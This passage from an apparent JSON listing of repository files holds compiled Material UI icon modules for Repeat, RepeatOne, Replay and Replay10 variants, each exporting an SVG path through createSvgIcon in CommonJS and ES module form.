1-1h11V3.21c0-.45.54-.67.85-.36l2.79 2.79c.2.2.2.51 0 .71\"\n}), 'RepeatOneOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOneOnRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-2 17c0 .55-.45 1-1 1H7v1.79c0 .45-.54.67-.85.36l-2.79-2.79c-.2-.2-.2-.51 0-.71l2.79-2.79c.31-.32.85-.1.85.35V17h10v-3c0-.55.45-1 1-1s1 .45 1 1zm-8.25-7.5c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h1.5c.41 0 .75.34.75.75v4.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75V10.5zm9.89-4.15-2.79 2.79c-.31.32-.85.1-.85-.35V7H7v3c0 .55-.45 1-1 1s-1-.45-1-1V6c0-.55.45-1 1-1h11V3.21c0-.45.54-.67.85-.36l2.79 2.79c.2.2.2.51 0 .71\"\n}), 'RepeatOneOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOneOnSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-2 18H7v3l-4-4 4-4v3h10v-4h2zm-9-8.5V9h3v6h-1.5v-4.5zm7-.5V7H7v4H5V5h12V2l4 4z\"\n}), 'RepeatOneOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOneOnSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-2 18H7v3l-4-4 4-4v3h10v-4h2zm-9-8.5V9h3v6h-1.5v-4.5zm7-.5V7H7v4H5V5h12V2l4 4z\"\n}), 'RepeatOneOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOneOnTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-2 18H7v3l-4-4 4-4v3h10v-4h2zm-9-8.5V9h3v6h-1.5v-4.5zm7-.5V7H7v4H5V5h12V2l4 4z\"\n}), 'RepeatOneOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOneOnTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-2 18H7v3l-4-4 4-4v3h10v-4h2zm-9-8.5V9h3v6h-1.5v-4.5zm7-.5V7H7v4H5V5h12V2l4 4z\"\n}), 'RepeatOneOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOneOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 7h10v3l4-4-4-4v3H5v6h2zm10 10H7v-3l-4 4 4 4v-3h12v-6h-2zm-4-2V9h-1l-2 1v1h1.5v4z\"\n}), 'RepeatOneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOneOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 7h10v3l4-4-4-4v3H5v6h2zm10 10H7v-3l-4 4 4 4v-3h12v-6h-2zm-4-2V9h-1l-2 1v1h1.5v4z\"\n}), 'RepeatOneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOneRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 7h10v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.2.2-.51 0-.71l-2.79-2.79c-.31-.31-.85-.09-.85.36V5H6c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1s1-.45 1-1zm10 10H7v-1.79c0-.45-.54-.67-.85-.35l-2.79 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.31.31.85.09.85-.36V19h11c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1s-1 .45-1 1zm-4-2.75V9.81c0-.45-.36-.81-.81-.81q-.195 0-.36.09l-1.49.74c-.21.1-.34.32-.34.55 0 .34.28.62.62.62h.88v3.25c0 .41.34.75.75.75s.75-.34.75-.75\"\n}), 'RepeatOneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOneRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 7h10v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.2.2-.51 0-.71l-2.79-2.79c-.31-.31-.85-.09-.85.36V5H6c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1s1-.45 1-1zm10 10H7v-1.79c0-.45-.54-.67-.85-.35l-2.79 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.31.31.85.09.85-.36V19h11c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1s-1 .45-1 1zm-4-2.75V9.81c0-.45-.36-.81-.81-.81q-.195 0-.36.09l-1.49.74c-.21.1-.34.32-.34.55 0 .34.28.62.62.62h.88v3.25c0 .41.34.75.75.75s.75-.34.75-.75\"\n}), 'RepeatOneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOneSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 7h10v3l4-4-4-4v3H5v6h2zm10 10H7v-3l-4 4 4 4v-3h12v-6h-2zm-4-2V9h-1l-2 1v1h1.5v4z\"\n}), 'RepeatOneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOneSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 7h10v3l4-4-4-4v3H5v6h2zm10 10H7v-3l-4 4 4 4v-3h12v-6h-2zm-4-2V9h-1l-2 1v1h1.5v4z\"\n}), 'RepeatOneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOneTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 15V9h-1l-2 1v1h1.5v4zm6-2h-2v4H7v-3l-4 4 4 4v-3h12zM17 2v3H5v6h2V7h10v3l4-4z\"\n}), 'RepeatOneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOneTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 15V9h-1l-2 1v1h1.5v4zm6-2h-2v4H7v-3l-4 4 4 4v-3h12zM17 2v3H5v6h2V7h10v3l4-4z\"\n}), 'RepeatOneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 7h10v3l4-4-4-4v3H5v6h2zm10 10H7v-3l-4 4 4 4v-3h12v-6h-2z\"\n}), 'RepeatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 7h10v3l4-4-4-4v3H5v6h2zm10 10H7v-3l-4 4 4 4v-3h12v-6h-2z\"\n}), 'RepeatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 7h10v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.2.2-.51 0-.71l-2.79-2.79c-.31-.31-.85-.09-.85.36V5H6c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1s1-.45 1-1zm10 10H7v-1.79c0-.45-.54-.67-.85-.35l-2.79 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.31.31.85.09.85-.36V19h11c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1s-1 .45-1 1z\"\n}), 'RepeatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 7h10v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.2.2-.51 0-.71l-2.79-2.79c-.31-.31-.85-.09-.85.36V5H6c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1s1-.45 1-1zm10 10H7v-1.79c0-.45-.54-.67-.85-.35l-2.79 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.31.31.85.09.85-.36V19h11c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1s-1 .45-1 1z\"\n}), 'RepeatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 7h10v3l4-4-4-4v3H5v6h2zm10 10H7v-3l-4 4 4 4v-3h12v-6h-2z\"\n}), 'RepeatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 7h10v3l4-4-4-4v3H5v6h2zm10 10H7v-3l-4 4 4 4v-3h12v-6h-2z\"\n}), 'RepeatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 22v-3h12v-6h-2v4H7v-3l-4 4zM21 6l-4-4v3H5v6h2V7h10v3z\"\n}), 'RepeatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 22v-3h12v-6h-2v4H7v-3l-4 4zM21 6l-4-4v3H5v6h2V7h10v3z\"\n}), 'RepeatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Replay.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5V1L7 6l5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6H4c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8\"\n}), 'Replay');"
  },
  {
    "path": "packages/mui-icons-material/lib/Replay.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5V1L7 6l5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6H4c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8\"\n}), 'Replay');"
  },
  {
    "path": "packages/mui-icons-material/lib/Replay10.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 5V1l-5 5 5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6h-2c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.89 16h-.85v-3.26l-1.01.31v-.69l1.77-.63h.09zm4.28-1.76c0 .32-.03.6-.1.82s-.17.42-.29.57-.28.26-.45.33-.37.1-.59.1-.41-.03-.59-.1-.33-.18-.46-.33-.23-.34-.3-.57-.11-.5-.11-.82v-.74c0-.32.03-.6.1-.82s.17-.42.29-.57.28-.26.45-.33.37-.1.59-.1.41.03.59.1.33.18.46.33.23.34.3.57.11.5.11.82zm-.85-.86c0-.19-.01-.35-.04-.48s-.07-.23-.12-.31-.11-.14-.19-.17-.16-.05-.25-.05-.18.02-.25.05-.14.09-.19.17-.09.18-.12.31-.04.29-.04.48v.97c0 .19.01.35.04.48s.07.24.12.32.11.14.19.17.16.05.25.05.18-.02.25-.05.14-.09.19-.17.09-.19.11-.32.04-.29.04-.48v-.97z\"\n}, \"1\")], 'Replay10');"
  },
  {
    "path": "packages/mui-icons-material/lib/Replay10.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 5V1l-5 5 5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6h-2c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.89 16h-.85v-3.26l-1.01.31v-.69l1.77-.63h.09zm4.28-1.76c0 .32-.03.6-.1.82s-.17.42-.29.57-.28.26-.45.33-.37.1-.59.1-.41-.03-.59-.1-.33-.18-.46-.33-.23-.34-.3-.57-.11-.5-.11-.82v-.74c0-.32.03-.6.1-.82s.17-.42.29-.57.28-.26.45-.33.37-.1.59-.1.41.03.59.1.33.18.46.33.23.34.3.57.11.5.11.82zm-.85-.86c0-.19-.01-.35-.04-.48s-.07-.23-.12-.31-.11-.14-.19-.17-.16-.05-.25-.05-.18.02-.25.05-.14.09-.19.17-.09.18-.12.31-.04.29-.04.48v.97c0 .19.01.35.04.48s.07.24.12.32.11.14.19.17.16.05.25.05.18-.02.25-.05.14-.09.19-.17.09-.19.11-.32.04-.29.04-.48v-.97z\"\n}, \"1\")], 'Replay10');"
  },
  {
    "path": "packages/mui-icons-material/lib/Replay10Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 5V1l-5 5 5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6h-2c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8m-1.1 11h-.85v-3.26l-1.01.31v-.69l1.77-.63h.09zm4.28-1.76c0 .32-.03.6-.1.82s-.17.42-.29.57-.28.26-.45.33-.37.1-.59.1-.41-.03-.59-.1-.33-.18-.46-.33-.23-.34-.3-.57-.11-.5-.11-.82v-.74c0-.32.03-.6.1-.82s.17-.42.29-.57.28-.26.45-.33.37-.1.59-.1.41.03.59.1.33.18.46.33.23.34.3.57.11.5.11.82zm-.85-.86c0-.19-.01-.35-.04-.48s-.07-.23-.12-.31-.11-.14-.19-.17-.16-.05-.25-.05-.18.02-.25.05-.14.09-.19.17-.09.18-.12.31-.04.29-.04.48v.97c0 .19.01.35.04.48s.07.24.12.32.11.14.19.17.16.05.25.05.18-.02.25-.05.14-.09.19-.17.09-.19.11-.32.04-.29.04-.48v-.97z\"\n}), 'Replay10Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Replay10Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 5V1l-5 5 5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6h-2c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8m-1.1 11h-.85v-3.26l-1.01.31v-.69l1.77-.63h.09zm4.28-1.76c0 .32-.03.6-.1.82s-.17.42-.29.57-.28.26-.45.33-.37.1-.59.1-.41-.03-.59-.1-.33-.18-.46-.33-.23-.34-.3-.57-.11-.5-.11-.82v-.74c0-.32.03-.6.1-.82s.17-.42.29-.57.28-.26.45-.33.37-.1.59-.1.41.03.59.1.33.18.46.33.23.34.3.57.11.5.11.82zm-.85-.86c0-.19-.01-.35-.04-.48s-.07-.23-.12-.31-.11-.14-.19-.17-.16-.05-.25-.05-.18.02-.25.05-.14.09-.19.17-.09.18-.12.31-.04.29-.04.48v.97c0 .19.01.35.04.48s.07.24.12.32.11.14.19.17.16.05.25.05.18-.02.25-.05.14-.09.19-.17.09-.19.11-.32.04-.29.04-.48v-.97z\"\n}), 'Replay10Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Replay10Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 5V2.21c0-.45-.54-.67-.85-.35L7.35 5.65c-.2.2-.2.51 0 .71l3.79 3.79c.31.31.85.09.85-.35V7c3.73 0 6.68 3.42 5.86 7.29-.47 2.27-2.31 4.1-4.57 4.57-3.57.75-6.75-1.7-7.23-5.01-.06-.48-.48-.85-.98-.85-.6 0-1.08.53-1 1.13.62 4.39 4.8 7.64 9.53 6.72 3.12-.61 5.63-3.12 6.24-6.24.99-5.13-2.9-9.61-7.85-9.61m-1.1 11h-.85v-3.26l-1.01.31v-.69l1.77-.63h.09zm4.28-1.76c0 .32-.03.6-.1.82s-.17.42-.29.57-.28.26-.45.33-.37.1-.59.1-.41-.03-.59-.1-.33-.18-.46-.33-.23-.34-.3-.57-.11-.5-.11-.82v-.74c0-.32.03-.6.1-.82s.17-.42.29-.57.28-.26.45-.33.37-.1.59-.1.41.03.59.1.33.18.46.33.23.34.3.57.11.5.11.82zm-.85-.86c0-.19-.01-.35-.04-.48s-.07-.23-.12-.31-.11-.14-.19-.17-.16-.05-.25-.05-.18.02-.25.05-.14.09-.19.17-.09.18-.12.31-.04.29-.04.48v.97c0 .19.01.35.04.48s.07.24.12.32.11.14.19.17.16.05.25.05.18-.02.25-.05.14-.09.19-.17.09-.19.11-.32.04-.29.04-.48v-.97z\"\n}), 'Replay10Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Replay10Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 5V2.21c0-.45-.54-.67-.85-.35L7.35 5.65c-.2.2-.2.51 0 .71l3.79 3.79c.31.31.85.09.85-.35V7c3.73 0 6.68 3.42 5.86 7.29-.47 2.27-2.31 4.1-4.57 4.57-3.57.75-6.75-1.7-7.23-5.01-.06-.48-.48-.85-.98-.85-.6 0-1.08.53-1 1.13.62 4.39 4.8 7.64 9.53 6.72 3.12-.61 5.63-3.12 6.24-6.24.99-5.13-2.9-9.61-7.85-9.61m-1.1 11h-.85v-3.26l-1.01.31v-.69l1.77-.63h.09zm4.28-1.76c0 .32-.03.6-.1.82s-.17.42-.29.57-.28.26-.45.33-.37.1-.59.1-.41-.03-.59-.1-.33-.18-.46-.33-.23-.34-.3-.57-.11-.5-.11-.82v-.74c0-.32.03-.6.1-.82s.17-.42.29-.57.28-.26.45-.33.37-.1.59-.1.41.03.59.1.33.18.46.33.23.34.3.57.11.5.11.82zm-.85-.86c0-.19-.01-.35-.04-.48s-.07-.23-.12-.31-.11-.14-.19-.17-.16-.05-.25-.05-.18.02-.25.05-.14.09-.19.17-.09.18-.12.31-.04.29-.04.48v.97c0 .19.01.35.04.48s.07.24.12.32.11.14.19.17.16.05.25.05.18-.02.25-.05.14-.09.19-.17.09-.19.11-.32.04-.29.04-.48v-.97z\"\n}), 'Replay10Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Replay10Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 5V1l-5 5 5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6h-2c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8m-1.1 11h-.85v-3.26l-1.01.31v-.69l1.77-.63h.09zm4.28-1.76c0 .32-.03.6-.1.82s-.17.42-.29.57-.28.26-.45.33-.37.1-.59.1-.41-.03-.59-.1-.33-.18-.46-.33-.23-.34-.3-.57-.11-.5-.11-.82v-.74c0-.32.03-.6.1-.82s.17-.42.29-.57.28-.26.45-.33.37-.1.59-.1.41.03.59.1.33.18.46.33.23.34.3.57.11.5.11.82zm-.85-.86c0-.19-.01-.35-.04-.48s-.07-.23-.12-.31-.11-.14-.19-.17-.16-.05-.25-.05-.18.02-.25.05-.14.09-.19.17-.09.18-.12.31-.04.29-.04.48v.97c0 .19.01.35.04.48s.07.24.12.32.11.14.19.17.16.05.25.05.18-.02.25-.05.14-.09.19-.17.09-.19.11-.32.04-.29.04-.48v-.97z\"\n}), 'Replay10Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Replay10Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 5V1l-5 5 5 5V7c3.31 0 6 2.69 6 6s-2.69 6-6 6-6-2.69-6-6h-2c0 4.42 3.58 8 8 8s8-3.58 8-8-3.58-8-8-8m-1.1 11h-.85v-3.26l-1.01.31v-.69l1.77-.63h.09zm4.28-1.76c0 .32-.03.6-.1.82s-.17.42-.29.57-.28.26-.45.33-.37.1-.59.1-.41-.03-.59-.1-.33-.18-.46-.33-.23-.34-.3-.57-.11-.5-.11-.82v-.74c0-.32.03-.6.1-.82s.17-.42.29-.57.28-.26.45-.33.37-.1.59-.1.41.03.59.1.33.18.46.33.23.34.3.57.11.5.11.82zm-.85-.86c0-.19-.01-.35-.04-.48s-.07-.23-.12-.31-.11-.14-.19-.17-.16-.05-.25-.05-.18.02-.25.05-.14.09-.19.17-.09.18-.12.31-.04.29-.04.48v.97c0 .19.01.35.04.48s.07.24.12.32.11.14.19.17.16.05.25.05.18-.02.25-.05.14-.09.19-.17.09-.19.11-.32.04-.29.04-.48v-.97z\"\n}), 'Replay10Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Replay10TwoTone.js",
